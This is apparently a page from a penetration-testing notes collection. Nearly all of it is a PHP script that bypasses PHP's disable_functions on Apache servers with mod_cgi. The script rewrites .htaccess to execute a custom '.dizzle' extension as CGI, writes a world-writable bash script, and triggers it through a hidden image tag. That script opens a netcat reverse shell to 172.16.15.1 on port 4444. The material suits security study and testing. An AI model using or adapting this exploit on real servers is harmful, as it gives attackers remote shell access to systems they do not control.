# disable\_functions bypass - mod\_cgi

## mod\_cgi

From [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)

```php
<?php
// Only working with mod_cgi, writable dir and htaccess files enabled
$cmd = "nc -c '/bin/bash' 172.16.15.1 4444"; //command to be executed
$shellfile = "#!/bin/bash\n"; //using a shellscript
$shellfile .= "echo -ne \"Content-Type: text/html\\n\\n\"\n"; //header is needed, otherwise a 500 error is thrown when there is output
$shellfile .= "$cmd"; //executing $cmd
function checkEnabled($text,$condition,$yes,$no) //this surely can be shorter
{
	echo "$text: " . ($condition ? $yes : $no) . "<br>\n";
}
if (!isset($_GET['checked']))
{
	@file_put_contents('.htaccess', "\nSetEnv HTACCESS on", FILE_APPEND); //Append it to a .htaccess file to see whether .htaccess is allowed
	header('Location: ' . $_SERVER['PHP_SELF'] . '?checked=true'); //execute the script again to see if the htaccess test worked
}
else
{
	$modcgi = in_array('mod_cgi', apache_get_modules()); // mod_cgi enabled?
	$writable = is_writable('.'); //current dir writable?
	$htaccess = !empty($_SERVER['HTACCESS']); //htaccess enabled?
		checkEnabled("Mod-Cgi enabled",$modcgi,"Yes","No");
		checkEnabled("Is writable",$writable,"Yes","No");
		checkEnabled("htaccess working",$htaccess,"Yes","No");
	if(!($modcgi && $writable && $htaccess))
	{
		echo "Error. All of the above must be true for the script to work!"; //abort if not
	}
	else
	{
		checkEnabled("Backing up .htaccess",copy(".htaccess",".htaccess.bak"),"Suceeded! Saved in .htaccess.bak","Failed!"); //make a backup, cause you never know.
		checkEnabled("Write .htaccess file",file_put_contents('.htaccess',"Options +ExecCGI\nAddHandler cgi-script .dizzle"),"Succeeded!","Failed!"); //.dizzle is a nice extension
		checkEnabled("Write shell file",file_put_contents('shell.dizzle',$shellfile),"Succeeded!","Failed!"); //write the file
		checkEnabled("Chmod 777",chmod("shell.dizzle",0777),"Succeeded!","Failed!"); //rwx
		echo "Executing the script now. Check your listener <img src = 'shell.dizzle' style = 'display:none;'>"; //call the script
	}
}
?>
```